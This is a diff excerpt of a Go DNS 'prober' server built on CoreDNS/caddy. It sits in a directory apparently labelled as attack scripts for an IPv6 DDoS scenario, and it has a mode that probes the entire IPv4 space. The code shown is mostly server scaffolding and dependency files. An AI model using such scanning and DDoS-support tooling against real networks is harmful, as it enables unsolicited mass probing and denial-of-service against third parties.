||||
s.idleTimeout = conf.IdleTimeout
|
||||
}
|
||||
|
||||
//// copy tsig secrets
|
||||
//for key, secret := range conf.TsigSecret {
|
||||
// s.tsigSecret[key] = secret
|
||||
//}
|
||||
|
||||
// compile custom plugin for everything
|
||||
var stack plugin.Prober
|
||||
for i := len(conf.Plugin) - 1; i >= 0; i-- {
|
||||
stack = conf.Plugin[i](stack)
|
||||
|
||||
// register the *handler* also
|
||||
conf.RegisterProber(stack)
|
||||
|
||||
// If the current plugin is a MetadataCollector, bookmark it for later use. This loop traverses the plugin
|
||||
// list backwards, so the first MetadataCollector plugin wins.
|
||||
if mdc, ok := stack.(prober.ProberMetadataCollector); ok {
|
||||
conf.MetaCollector = mdc
|
||||
}
|
||||
|
||||
if s.trace == nil && stack.Name() == "trace" {
|
||||
// we have to stash away the plugin, not the
|
||||
// Tracer object, because the Tracer won't be initialized yet
|
||||
if t, ok := stack.(trace.Trace); ok {
|
||||
s.trace = t
|
||||
}
|
||||
}
|
||||
// Unblock CH class queries when any of these plugins are loaded.
|
||||
if _, ok := EnableChaos[stack.Name()]; ok {
|
||||
s.classChaos = true
|
||||
}
|
||||
conf.PluginChain = stack
|
||||
}
|
||||
|
||||
if !s.debug {
|
||||
// When reloading we need to explicitly disable debug logging if it is now disabled.
|
||||
olog.D.Clear()
|
||||
}
|
||||
|
||||
return s, nil
|
||||
}
|
||||
|
||||
// Compile-time check to ensure Server implements the caddy.GracefulServer interface
|
||||
var _ caddy.GracefulServer = &ProbeServer{}
|
||||
|
||||
// Serve starts the server with an existing listener. It blocks until the server stops.
|
||||
// This implements caddy.TCPServer interface.
|
||||
func (ps *ProbeServer) Serve(l net.Listener) error {
|
||||
ps.m.Lock()
|
||||
|
||||
ps.server = &http.Server{
|
||||
Addr: l.Addr().String(),
|
||||
Handler: http.HandlerFunc(func(writer http.ResponseWriter, r *http.Request) {
|
||||
ctx := context.WithValue(context.Background(), Key{}, ps)
|
||||
ctx = context.WithValue(ctx, LoopKey{}, 0)
|
||||
err, s := ps.ServeProbe(ctx, writer, r)
|
||||
if err != nil {
|
||||
olog.Errorf("prober_serve/Serve: %v \n %v", err.Error(), s)
|
||||
return
|
||||
}
|
||||
}),
|
||||
DisableGeneralOptionsHandler: false,
|
||||
ReadTimeout: ps.readTimeout,
|
||||
WriteTimeout: ps.writeTimeout,
|
||||
IdleTimeout: ps.idleTimeout}
|
||||
|
||||
ps.m.Unlock()
|
||||
|
||||
return ps.server.ListenAndServe()
|
||||
}
|
||||
|
||||
// ServePacket starts the server with an existing packetconn. It blocks until the server stops.
|
||||
// This implements caddy.UDPServer interface.
|
||||
func (ps *ProbeServer) ServePacket(net.PacketConn) error {
|
||||
return nil
|
||||
}
|
||||
|
||||
// Listen implements caddy.TCPServer interface.
|
||||
func (ps *ProbeServer) Listen() (net.Listener, error) {
|
||||
l, err := reuseport.Listen("tcp", ps.Addr[len(transport.DNS+"://"):])
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return l, nil
|
||||
}
|
||||
|
||||
// WrapListener Listen implements caddy.GracefulServer interface.
|
||||
func (ps *ProbeServer) WrapListener(ln net.Listener) net.Listener {
|
||||
return ln
|
||||
}
|
||||
|
||||
// ListenPacket implements caddy.UDPServer interface.
|
||||
func (ps *ProbeServer) ListenPacket() (net.PacketConn, error) {
|
||||
p, err := reuseport.ListenPacket("udp", ps.Addr[len(transport.DNS+"://"):])
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
return p, nil
|
||||
}
|
||||
|
||||
// Stop stops the server. It blocks until the server is
|
||||
// totally stopped. On POSIX systems, it will wait for
|
||||
// connections to close (up to a max timeout of a few
|
||||
// seconds); on Windows it will close the listener
|
||||
// immediately.
|
||||
// This implements Caddy.Stopper interface.
|
||||
func (ps *ProbeServer) Stop() (err error) {
|
||||
// 清空协程池
|
||||
defer ps.proberlist.GRPool.Release()
|
||||
if runtime.GOOS != "windows" {
|
||||
// force connections to close after timeout
|
||||
done := make(chan struct{})
|
||||
go func() {
|
||||
ps.httpWg.Done() // decrement our initial increment used as a barrier
|
||||
ps.httpWg.Wait()
|
||||
close(done)
|
||||
}()
|
||||
|
||||
// Wait for remaining connections to finish or
|
||||
// force them all to close after timeout
|
||||
select {
|
||||
case <-time.After(ps.graceTimeout):
|
||||
case <-done:
|
||||
}
|
||||
}
|
||||
|
||||
// Close the listener now; this stops the server without delay
|
||||
ps.m.Lock()
|
||||
// We might not have started and initialized the full set of servers
|
||||
if ps.server != nil {
|
||||
err = ps.server.Shutdown(context.Background())
|
||||
}
|
||||
|
||||
ps.m.Unlock()
|
||||
return
|
||||
}
|
||||
|
||||
// Address together with Stop() implement caddy.GracefulServer.
|
||||
func (ps *ProbeServer) Address() string { return ps.Addr }
|
||||
|
||||
// ServeProbe 是每一个prober控制请求的入口
|
||||
// It acts as a multiplexer for the requests zonename as
|
||||
// defined in the request so that the correct zone
|
||||
// (configuration and plugin stack) will handle the request.
|
||||
func (ps *ProbeServer) ServeProbe(ctx context.Context, w http.ResponseWriter, req *http.Request) (error, string) {
|
||||
if !ps.debug {
|
||||
defer func() {
|
||||
// In case the user doesn't enable error plugin, we still
|
||||
// need to make sure that we stay alive up here
|
||||
if rec := recover(); rec != nil {
|
||||
if ps.stacktrace {
|
||||
olog.Errorf("Recovered from panic in server: %q %v\n%s", ps.Addr, rec, string(debug.Stack()))
|
||||
} else {
|
||||
olog.Errorf("Recovered from panic in server: %q %v", ps.Addr, rec)
|
||||
}
|
||||
vars.Panic.Inc()
|
||||
errorAndMetricsFunc(ps.Addr, w, "ProbeServer-ServeHTTP-Error", http.StatusInternalServerError)
|
||||
}
|
||||
}()
|
||||
}
|
||||
|
||||
// Wrap the response writer in a ScrubWriter so we automatically make the reply fit in the client's buffer.
|
||||
//w = request.NewScrubWriter(r, w)
|
||||
|
||||
// 获取请求参数
|
||||
param, _ := ohttp.ParseRequest(req)
|
||||
|
||||
//// 用于探测的客户端(启用,嵌入prober结构体中)
|
||||
//c := new(dns.Client)
|
||||
|
||||
pcf := ps.conf
|
||||
if pcf.PluginChain == nil { // can not get any plugins
|
||||
errorAndMetricsFunc(ps.Addr, w, "探测器缺少插件链", http.StatusNotImplemented)
|
||||
return errors.New("探测器缺少插件链"), "探测器缺少插件链"
|
||||
}
|
||||
if pcf.MetaCollector != nil {
|
||||
// Collect metadata now, so it can be used before we send a request down the plugin chain.
|
||||
ctx = pcf.MetaCollector.Collect(ctx, request.HTTPRequest{Req: req, W: w})
|
||||
}
|
||||
// 生成目标,开始探测
|
||||
targets, targetNum := getTarget(param[rangeParam])
|
||||
|
||||
// 将探测配置添加到上下文中
|
||||
ctx = context.WithValue(ctx, prober.PAddrNum, targetNum)
|
||||
ctx = context.WithValue(ctx, prober.Pchain, ps.conf)
|
||||
|
||||
// 创建并开始执行任务,返回探测器id
|
||||
proberid := ps.proberlist.AddProber(ctx, targets)
|
||||
|
||||
// 都不匹配,尝试利用“.”指向的服务块
|
||||
//if z, ok := ps.zones["."]; ok {
|
||||
//
|
||||
// for _, h := range z {
|
||||
// if h.pluginChain == nil {
|
||||
// continue
|
||||
// }
|
||||
//
|
||||
// if h.metaCollector != nil {
|
||||
// // Collect metadata now, so it can be used before we send a request down the plugin chain.
|
||||
// ctx = h.metaCollector.Collect(ctx, request.HTTPRequest{Req: req, W: w})
|
||||
// }
|
||||
//
|
||||
// // If all filter funcs pass, use this config.
|
||||
// if passAllFilterFuncs(ctx, h.FilterFuncs, &request.HTTPRequest{Req: req, W: w}) {
|
||||
// if h.ViewName != "" {
|
||||
// // if there was a view defined for this Config, set the view name in the context
|
||||
// ctx = context.WithValue(ctx, ViewKey{}, h.ViewName)
|
||||
// }
|
||||
// rcode, _ := h.pluginChain.ProbeDNS(ctx, c, msg)
|
||||
// if !plugin.ClientWrite(rcode) {
|
||||
// errorAndMetricsFunc(ps.Addr, w, " . --"+h.pluginChain.Name()+"错误", rcode)
|
||||
// }
|
||||
// return
|
||||
// }
|
||||
// }
|
||||
//}
|
||||
|
||||
return nil, "成功创建探测器:" + proberid
|
||||
}
|
||||
|
||||
// passAllFilterFuncs returns true if all filter funcs evaluate to true for the given request
|
||||
func passAllFilterFuncs(ctx context.Context, filterFuncs []prober.FilterFunc, req *request.HTTPRequest) bool {
|
||||
for _, ff := range filterFuncs {
|
||||
if !ff(ctx, req) {
|
||||
return false
|
||||
}
|
||||
}
|
||||
return true
|
||||
}
|
||||
|
||||
// OnStartupComplete lists the sites served by this server
|
||||
// and any relevant information, assuming Quiet is false.
|
||||
func (ps *ProbeServer) OnStartupComplete() {
|
||||
if Quiet {
|
||||
return
|
||||
}
|
||||
|
||||
out := startUpZones(transport.PROBER+"://", ps.Addr)
|
||||
if out != "" {
|
||||
fmt.Print(out)
|
||||
}
|
||||
}
|
||||
|
||||
// Tracer returns the tracer in the server if defined.
|
||||
func (ps *ProbeServer) Tracer() ot.Tracer {
|
||||
if ps.trace == nil {
|
||||
return nil
|
||||
}
|
||||
|
||||
return ps.trace.Tracer()
|
||||
}
|
||||
|
||||
// errorAndMetricsFunc 通过HTTP返回错误信息,并记录到Metrics中
|
||||
func errorAndMetricsFunc(server string, w http.ResponseWriter, rs string, rc int) {
|
||||
defer vars.HTTPResponsesCount.WithLabelValues(server, http.StatusText(rc)).Inc()
|
||||
w.WriteHeader(rc)
|
||||
r := &response{Code: http.StatusInternalServerError, Msg: rs}
|
||||
msg, _ := json.Marshal(r)
|
||||
w.Write(msg)
|
||||
return
|
||||
|
||||
}
|
||||
|
||||
// 输入目标地址数据集,返回IP管道和目标地址数量,
|
||||
func getTarget(s []string) (chan net.IP, int) {
|
||||
if s[0] == globalRange {
|
||||
// 全球探测
|
||||
return prober.GenGlobIPv4(), 0
|
||||
}
|
||||
// 局部探测
|
||||
ipchan := make(chan net.IP, 100)
|
||||
go func() {
|
||||
defer close(ipchan)
|
||||
for _, v := range s {
|
||||
ipchan <- net.ParseIP(v)
|
||||
}
|
||||
}()
|
||||
return ipchan, len(s)
|
||||
}
|
||||
|
||||
type (
|
||||
// Key is the context key for the current server added to the context.
|
||||
Key struct{}
|
||||
|
||||
// LoopKey is the context key to detect server wide loops.
|
||||
LoopKey struct{}
|
||||
|
||||
// ViewKey is the context key for the current view, if defined
|
||||
ViewKey struct{}
|
||||
)
|
||||
|
||||
// EnableChaos is a map with plugin names for which we should open CH class queries as we block these by default.
|
||||
var EnableChaos = map[string]struct{}{
|
||||
"chaos": {},
|
||||
"forward": {},
|
||||
"proxy": {},
|
||||
}
|
||||
|
||||
// Quiet mode will not show any informative output on initialization.
|
||||
var Quiet bool
|
||||
209
att script/3_v6_DDoS/code/辅助权威服务器/core/prober/register.go
Normal file
209
att script/3_v6_DDoS/code/辅助权威服务器/core/prober/register.go
Normal file
@@ -0,0 +1,209 @@
|
||||
package prober
|
||||
|
||||
import (
|
||||
"github.com/coredns/caddy"
|
||||
"github.com/coredns/caddy/caddyfile"
|
||||
"net"
|
||||
"ohmydns2/core/dnsserver"
|
||||
"ohmydns2/plugin"
|
||||
"ohmydns2/plugin/pkg/parse"
|
||||
"ohmydns2/plugin/pkg/prober"
|
||||
"ohmydns2/plugin/pkg/transport"
|
||||
)
|
||||
|
||||
const proberType = "dnsprober"
|
||||
|
||||
func init() {
|
||||
caddy.RegisterServerType(proberType, caddy.ServerType{
|
||||
Directives: func() []string { return Directives },
|
||||
DefaultInput: func() caddy.Input {
|
||||
return caddy.CaddyfileInput{
|
||||
Filepath: "Ohmyfile",
|
||||
Contents: []byte("probe://:" + Port + " {\nprober_show\nlog\n}\n"),
|
||||
ServerTypeName: proberType,
|
||||
}
|
||||
},
|
||||
NewContext: newPBContext,
|
||||
})
|
||||
}
|
||||
|
||||
func newPBContext(*caddy.Instance) caddy.Context {
|
||||
return &ProbeContext{keysToConfigs: make(map[string]*prober.PBConfig)}
|
||||
}
|
||||
|
||||
type ProbeContext struct {
|
||||
keysToConfigs map[string]*prober.PBConfig
|
||||
|
||||
// configs is the master list of all site configs.
|
||||
configs []*prober.PBConfig
|
||||
}
|
||||
|
||||
func (p *ProbeContext) saveConfig(key string, cfg *prober.PBConfig) {
|
||||
p.configs = append(p.configs, cfg)
|
||||
p.keysToConfigs[key] = cfg
|
||||
}
|
||||
|
||||
// Compile-time check to ensure dnsContext implements the caddy.Context interface
|
||||
var _ caddy.Context = &ProbeContext{}
|
||||
|
||||
// InspectServerBlocks make sure that everything checks out before
|
||||
// executing directives and otherwise prepares the directives to
|
||||
// be parsed and executed.
|
||||
func (p *ProbeContext) InspectServerBlocks(_ string, serverBlocks []caddyfile.ServerBlock) ([]caddyfile.ServerBlock, error) {
|
||||
// Normalize and check all the zone names and check for duplicates
|
||||
for ib, s := range serverBlocks {
|
||||
Addrs := []addr{}
|
||||
// 每一个服务块的zone部分
|
||||
for ik, k := range s.Keys {
|
||||
trans, k1 := parse.Transport(k) // get rid of any dns:// or other scheme.
|
||||
// 不属于探测端的服务块不解析
|
||||
if trans != transport.PROBER {
|
||||
continue
|
||||
}
|
||||
port, err := plugin.SplitPort(k1)
|
||||
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
s.Keys[ik] = port
|
||||
Addrs = append(Addrs, addr{Port: port, Transport: transport.PROBERTRAN})
|
||||
}
|
||||
|
||||
serverBlocks[ib].Keys = s.Keys // important to save back the new keys that are potentially created here.
|
||||
|
||||
var firstConfigInBlock *prober.PBConfig
|
||||
|
||||
for ik := range s.Keys {
|
||||
a := Addrs[ik]
|
||||
s.Keys[ik] = a.String()
|
||||
// Save the config to our master list, and key it for lookups.
|
||||
cfg := &prober.PBConfig{
|
||||
ListenHosts: []string{""},
|
||||
Port: a.Port,
|
||||
Transport: a.Transport,
|
||||
}
|
||||
|
||||
// Set reference to the first config in the current block.
|
||||
// This is used later by MakeServers to share a single plugin list
|
||||
// for all zones in a server block.
|
||||
if ik == 0 {
|
||||
firstConfigInBlock = cfg
|
||||
}
|
||||
cfg.FirstConfigInBlock = firstConfigInBlock
|
||||
|
||||
keyConfig := prober.KeyForConfig(ib, ik)
|
||||
p.saveConfig(keyConfig, cfg)
|
||||
}
|
||||
}
|
||||
return serverBlocks, nil
|
||||
}
|
||||
|
||||
// MakeServers uses the newly-created siteConfigs to create and return a list of server instances.
|
||||
func (p *ProbeContext) MakeServers() ([]caddy.Server, error) {
|
||||
// Copy the Plugin, ListenHosts and Debug from first config in the block
|
||||
// to all other config in the same block . Doing this results in zones
|
||||
// sharing the same plugin instances and settings as other zones in
|
||||
// the same block.
|
||||
for _, c := range p.configs {
|
||||
c.Plugin = c.FirstConfigInBlock.Plugin
|
||||
c.ListenHosts = c.FirstConfigInBlock.ListenHosts
|
||||
c.Debug = c.FirstConfigInBlock.Debug
|
||||
c.Stacktrace = c.FirstConfigInBlock.Stacktrace
|
||||
|
||||
// Fork TLSConfig for each encrypted connection
|
||||
c.TLSConfig = c.FirstConfigInBlock.TLSConfig.Clone()
|
||||
c.ReadTimeout = c.FirstConfigInBlock.ReadTimeout
|
||||
c.WriteTimeout = c.FirstConfigInBlock.WriteTimeout
|
||||
c.IdleTimeout = c.FirstConfigInBlock.IdleTimeout
|
||||
c.TsigSecret = c.FirstConfigInBlock.TsigSecret
|
||||
}
|
||||
|
||||
// we must map (group) each config to a bind address
|
||||
groups, err := groupConfigsByListenPort(p.configs)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
// then we create a server for each group
|
||||
var servers []caddy.Server
|
||||
for protaddr, group := range groups {
|
||||
// switch on addr
|
||||
switch tr, _ := parse.Transport(transport.PROBER + protaddr[len(transport.PROBERTRAN):]); tr {
|
||||
case transport.PROBER:
|
||||
s, e := NewProberHTTP(protaddr, group)
|
||||
if e != nil {
|
||||
return nil, err
|
||||
}
|
||||
servers = append(servers, s)
|
||||
}
|
||||
}
|
||||
|
||||
//// For each server config, check for View Filter plugins
|
||||
//for _, c := range p.configs {
|
||||
// // Add filters in the plugin.cfg order for consistent filter func evaluation order.
|
||||
// for _, d := range Directives {
|
||||
// if vf, ok := c.registry[d].(Viewer); ok {
|
||||
// if c.ViewName != "" {
|
||||
// return nil, fmt.Errorf("multiple views defined in server block")
|
||||
// }
|
||||
// c.ViewName = vf.ViewName()
|
||||
// c.FilterFuncs = append(c.FilterFuncs, vf.Filter)
|
||||
// }
|
||||
// }
|
||||
//}
|
||||
|
||||
// Verify that there is no overlap on the zones and listen addresses
|
||||
// for unfiltered server configs
|
||||
//errValid := p.validateZonesAndListeningAddresses()
|
||||
//if errValid != nil {
|
||||
// return nil, errValid
|
||||
//}
|
||||
|
||||
return servers, nil
|
||||
}
|
||||
|
||||
// GetConfig gets the Config that corresponds to c.
|
||||
// If none exist nil is returned.
|
||||
func GetPBConfig(c *caddy.Controller) *prober.PBConfig {
|
||||
ctx := c.Context().(*ProbeContext)
|
||||
key := prober.KeyForConfig(c.ServerBlockIndex, c.ServerBlockKeyIndex)
|
||||
if cfg, ok := ctx.keysToConfigs[key]; ok {
|
||||
return cfg
|
||||
}
|
||||
// we should only get here during tests because directive
|
||||
// actions typically skip the server blocks where we make
|
||||
// the configs.
|
||||
ctx.saveConfig(key, &prober.PBConfig{ListenHosts: []string{""}})
|
||||
return GetPBConfig(c)
|
||||
}
|
||||
|
||||
// groupConfigsByListenPort 建立监听端口和配置文件之间的映射,与服务端不同的是,一个监听地址端口只对应一个配置文件
|
||||
func groupConfigsByListenPort(configs []*prober.PBConfig) (map[string]*prober.PBConfig, error) {
|
||||
groups := make(map[string]*prober.PBConfig)
|
||||
for _, conf := range configs {
|
||||
for _, h := range conf.ListenHosts {
|
||||
tcpaddr, err := net.ResolveTCPAddr("tcp", net.JoinHostPort(h, conf.Port))
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
addrstr := conf.Transport + "://" + tcpaddr.String()
|
||||
groups[addrstr] = conf
|
||||
}
|
||||
}
|
||||
|
||||
return groups, nil
|
||||
}
|
||||
|
||||
// DefaultPort is the default port.
|
||||
const DefaultPort = transport.PROBERPort
|
||||
|
||||
// These "soft defaults" are configurable by
|
||||
// command line flags, etc.
|
||||
var (
|
||||
// Port is the port we listen on by default.
|
||||
Port = DefaultPort
|
||||
|
||||
// GracefulTimeout is the maximum duration of a graceful shutdown.
|
||||
//GracefulTimeout time.Duration
|
||||
)
|
||||
|
||||
var _ caddy.GracefulServer = new(dnsserver.Server)
|
||||
36
att script/3_v6_DDoS/code/辅助权威服务器/go.mod
Normal file
36
att script/3_v6_DDoS/code/辅助权威服务器/go.mod
Normal file
@@ -0,0 +1,36 @@
|
||||
module ohmydns2
|
||||
|
||||
go 1.20
|
||||
|
||||
require (
|
||||
github.com/apparentlymart/go-cidr v1.1.0
|
||||
github.com/asaskevich/govalidator v0.0.0-20230301143203-a9d515a09cc2
|
||||
github.com/coredns/caddy v1.1.1
|
||||
github.com/dnstap/golang-dnstap v0.4.0
|
||||
github.com/farsightsec/golang-framestream v0.3.0
|
||||
github.com/miekg/dns v1.1.54
|
||||
github.com/opentracing/opentracing-go v1.2.0
|
||||
github.com/panjf2000/ants/v2 v2.8.1
|
||||
github.com/pochard/commons v1.1.2
|
||||
github.com/prometheus/client_golang v1.15.1
|
||||
github.com/thanhpk/randstr v1.0.6
|
||||
golang.org/x/sys v0.10.0
|
||||
google.golang.org/grpc v1.55.0
|
||||
google.golang.org/protobuf v1.30.0
|
||||
)
|
||||
|
||||
require (
|
||||
github.com/beorn7/perks v1.0.1 // indirect
|
||||
github.com/cespare/xxhash/v2 v2.2.0 // indirect
|
||||
github.com/flynn/go-shlex v0.0.0-20150515145356-3f9db97f8568 // indirect
|
||||
github.com/golang/protobuf v1.5.3 // indirect
|
||||
github.com/matttproud/golang_protobuf_extensions v1.0.4 // indirect
|
||||
github.com/prometheus/client_model v0.3.0 // indirect
|
||||
github.com/prometheus/common v0.42.0 // indirect
|
||||
github.com/prometheus/procfs v0.9.0 // indirect
|
||||
golang.org/x/mod v0.12.0 // indirect
|
||||
golang.org/x/net v0.12.0 // indirect
|
||||
golang.org/x/text v0.11.0 // indirect
|
||||
golang.org/x/tools v0.11.0 // indirect
|
||||
google.golang.org/genproto v0.0.0-20230306155012-7f2fa6fef1f4 // indirect
|
||||
)
|
||||
111
att script/3_v6_DDoS/code/辅助权威服务器/go.sum
Normal file
111
att script/3_v6_DDoS/code/辅助权威服务器/go.sum
Normal file
@@ -0,0 +1,111 @@
|
||||
github.com/apparentlymart/go-cidr v1.1.0 h1:2mAhrMoF+nhXqxTzSZMUzDHkLjmIHC+Zzn4tdgBZjnU=
|
||||
github.com/apparentlymart/go-cidr v1.1.0/go.mod h1:EBcsNrHc3zQeuaeCeCtQruQm+n9/YjEn/vI25Lg7Gwc=
|
||||
github.com/asaskevich/govalidator v0.0.0-20230301143203-a9d515a09cc2 h1:DklsrG3dyBCFEj5IhUbnKptjxatkF07cF2ak3yi77so=
|
||||
github.com/asaskevich/govalidator v0.0.0-20230301143203-a9d515a09cc2/go.mod h1:WaHUgvxTVq04UNunO+XhnAqY/wQc+bxr74GqbsZ/Jqw=
|
||||
github.com/beorn7/perks v1.0.1 h1:VlbKKnNfV8bJzeqoa4cOKqO6bYr3WgKZxO8Z16+hsOM=
|
||||
github.com/beorn7/perks v1.0.1/go.mod h1:G2ZrVWU2WbWT9wwq4/hrbKbnv/1ERSJQ0ibhJ6rlkpw=
|
||||
github.com/cespare/xxhash/v2 v2.2.0 h1:DC2CZ1Ep5Y4k3ZQ899DldepgrayRUGE6BBZ/cd9Cj44=
|
||||
github.com/cespare/xxhash/v2 v2.2.0/go.mod h1:VGX0DQ3Q6kWi7AoAeZDth3/j3BFtOZR5XLFGgcrjCOs=
|
||||
github.com/coredns/caddy v1.1.1 h1:2eYKZT7i6yxIfGP3qLJoJ7HAsDJqYB+X68g4NYjSrE0=
|
||||
github.com/coredns/caddy v1.1.1/go.mod h1:A6ntJQlAWuQfFlsd9hvigKbo2WS0VUs2l1e2F+BawD4=
|
||||
github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
|
||||
github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c=
|
||||
github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
|
||||
github.com/dnstap/golang-dnstap v0.4.0 h1:KRHBoURygdGtBjDI2w4HifJfMAhhOqDuktAokaSa234=
|
||||
github.com/dnstap/golang-dnstap v0.4.0/go.mod h1:FqsSdH58NAmkAvKcpyxht7i4FoBjKu8E4JUPt8ipSUs=
|
||||
github.com/farsightsec/golang-framestream v0.3.0 h1:/spFQHucTle/ZIPkYqrfshQqPe2VQEzesH243TjIwqA=
|
||||
github.com/farsightsec/golang-framestream v0.3.0/go.mod h1:eNde4IQyEiA5br02AouhEHCu3p3UzrCdFR4LuQHklMI=
|
||||
github.com/flynn/go-shlex v0.0.0-20150515145356-3f9db97f8568 h1:BHsljHzVlRcyQhjrss6TZTdY2VfCqZPbv5k3iBFa2ZQ=
|
||||
github.com/flynn/go-shlex v0.0.0-20150515145356-3f9db97f8568/go.mod h1:xEzjJPgXI435gkrCt3MPfRiAkVrwSbHsst4LCFVfpJc=
|
||||
github.com/golang/protobuf v1.2.0/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U=
|
||||
github.com/golang/protobuf v1.3.5/go.mod h1:6O5/vntMXwX2lRkT1hjjk0nAC1IDOTvTlVgjlRvqsdk=
|
||||
github.com/golang/protobuf v1.4.0-rc.1/go.mod h1:ceaxUfeHdC40wWswd/P6IGgMaK3YpKi5j83Wpe3EHw8=
|
||||
github.com/golang/protobuf v1.4.0-rc.1.0.20200221234624-67d41d38c208/go.mod h1:xKAWHe0F5eneWXFV3EuXVDTCmh+JuBKY0li0aMyXATA=
|
||||
github.com/golang/protobuf v1.4.0-rc.2/go.mod h1:LlEzMj4AhA7rCAGe4KMBDvJI+AwstrUpVNzEA03Pprs=
|
||||
github.com/golang/protobuf v1.4.0-rc.4.0.20200313231945-b860323f09d0/go.mod h1:WU3c8KckQ9AFe+yFwt9sWVRKCVIyN9cPHBJSNnbL67w=
|
||||
github.com/golang/protobuf v1.4.0/go.mod h1:jodUvKwWbYaEsadDk5Fwe5c77LiNKVO9IDvqG2KuDX0=
|
||||
github.com/golang/protobuf v1.5.0/go.mod h1:FsONVRAS9T7sI+LIUmWTfcYkHO4aIWwzhcaSAoJOfIk=
|
||||
github.com/golang/protobuf v1.5.3 h1:KhyjKVUg7Usr/dYsdSqoFveMYd5ko72D+zANwlG1mmg=
|
||||
github.com/golang/protobuf v1.5.3/go.mod h1:XVQd3VNwM+JqD3oG2Ue2ip4fOMUkwXdXDdiuN0vRsmY=
|
||||
github.com/google/go-cmp v0.3.0/go.mod h1:8QqcDgzrUqlUb/G2PQTWiueGozuR1884gddMywk6iLU=
|
||||
github.com/google/go-cmp v0.3.1/go.mod h1:8QqcDgzrUqlUb/G2PQTWiueGozuR1884gddMywk6iLU=
|
||||
github.com/google/go-cmp v0.4.0/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE=
|
||||
github.com/google/go-cmp v0.5.5/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE=
|
||||
github.com/google/go-cmp v0.5.9 h1:O2Tfq5qg4qc4AmwVlvv0oLiVAGB7enBSJ2x2DqQFi38=
|
||||
github.com/google/uuid v1.1.1/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo=
|
||||
github.com/matttproud/golang_protobuf_extensions v1.0.4 h1:mmDVorXM7PCGKw94cs5zkfA9PSy5pEvNWRP0ET0TIVo=
|
||||
github.com/matttproud/golang_protobuf_extensions v1.0.4/go.mod h1:BSXmuO+STAnVfrANrmjBb36TMTDstsz7MSK+HVaYKv4=
|
||||
github.com/miekg/dns v1.1.31/go.mod h1:KNUDUusw/aVsxyTYZM1oqvCicbwhgbNgztCETuNZ7xM=
|
||||
github.com/miekg/dns v1.1.54 h1:5jon9mWcb0sFJGpnI99tOMhCPyJ+RPVz5b63MQG0VWI=
|
||||
github.com/miekg/dns v1.1.54/go.mod h1:uInx36IzPl7FYnDcMeVWxj9byh7DutNykX4G9Sj60FY=
|
||||
github.com/opentracing/opentracing-go v1.2.0 h1:uEJPy/1a5RIPAJ0Ov+OIO8OxWu77jEv+1B0VhjKrZUs=
|
||||
github.com/opentracing/opentracing-go v1.2.0/go.mod h1:GxEUsuufX4nBwe+T+Wl9TAgYrxe9dPLANfrWvHYVTgc=
|
||||
github.com/panjf2000/ants/v2 v2.8.1 h1:C+n/f++aiW8kHCExKlpX6X+okmxKXP7DWLutxuAPuwQ=
|
||||
github.com/panjf2000/ants/v2 v2.8.1/go.mod h1:KIBmYG9QQX5U2qzFP/yQJaq/nSb6rahS9iEHkrCMgM8=
|
||||
github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM=
|
||||
github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
|
||||
github.com/pochard/commons v1.1.2 h1:65SlPrtLqJgCboQitD72Wrdw7xsGJ2wD6HS1hUpk6pc=
|
||||
github.com/pochard/commons v1.1.2/go.mod h1:HzXF3rNqu78SkHDx4IY+jp/SqSnkwT/OHjSrlqoitgI=
|
||||
github.com/prometheus/client_golang v1.15.1 h1:8tXpTmJbyH5lydzFPoxSIJ0J46jdh3tylbvM1xCv0LI=
|
||||
github.com/prometheus/client_golang v1.15.1/go.mod h1:e9yaBhRPU2pPNsZwE+JdQl0KEt1N9XgF6zxWmaC0xOk=
|
||||
github.com/prometheus/client_model v0.3.0 h1:UBgGFHqYdG/TPFD1B1ogZywDqEkwp3fBMvqdiQ7Xew4=
|
||||
github.com/prometheus/client_model v0.3.0/go.mod h1:LDGWKZIo7rky3hgvBe+caln+Dr3dPggB5dvjtD7w9+w=
|
||||
github.com/prometheus/common v0.42.0 h1:EKsfXEYo4JpWMHH5cg+KOUWeuJSov1Id8zGR8eeI1YM=
|
||||
github.com/prometheus/common v0.42.0/go.mod h1:xBwqVerjNdUDjgODMpudtOMwlOwf2SaTr1yjz4b7Zbc=
|
||||
github.com/prometheus/procfs v0.9.0 h1:wzCHvIvM5SxWqYvwgVL7yJY8Lz3PKn49KQtpgMYJfhI=
|
||||
github.com/prometheus/procfs v0.9.0/go.mod h1:+pB4zwohETzFnmlpe6yd2lSc+0/46IYZRB/chUwxUZY=
|
||||
github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME=
|
||||
github.com/stretchr/objx v0.4.0/go.mod h1:YvHI0jy2hoMjB+UWwv71VJQ9isScKT/TqJzVSSt89Yw=
|
||||
github.com/stretchr/objx v0.5.0/go.mod h1:Yh+to48EsGEfYuaHDzXPcE3xhTkx73EhmCGUpEOglKo=
|
||||
github.com/stretchr/testify v1.3.0/go.mod h1:M5WIy9Dh21IEIfnGCwXGc5bZfKNJtfHm1UVUgZn+9EI=
|
||||
github.com/stretchr/testify v1.7.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg=
|
||||
github.com/stretchr/testify v1.8.0/go.mod h1:yNjHg4UonilssWZ8iaSj1OCr/vHnekPRkoO+kdMU+MU=
|
||||
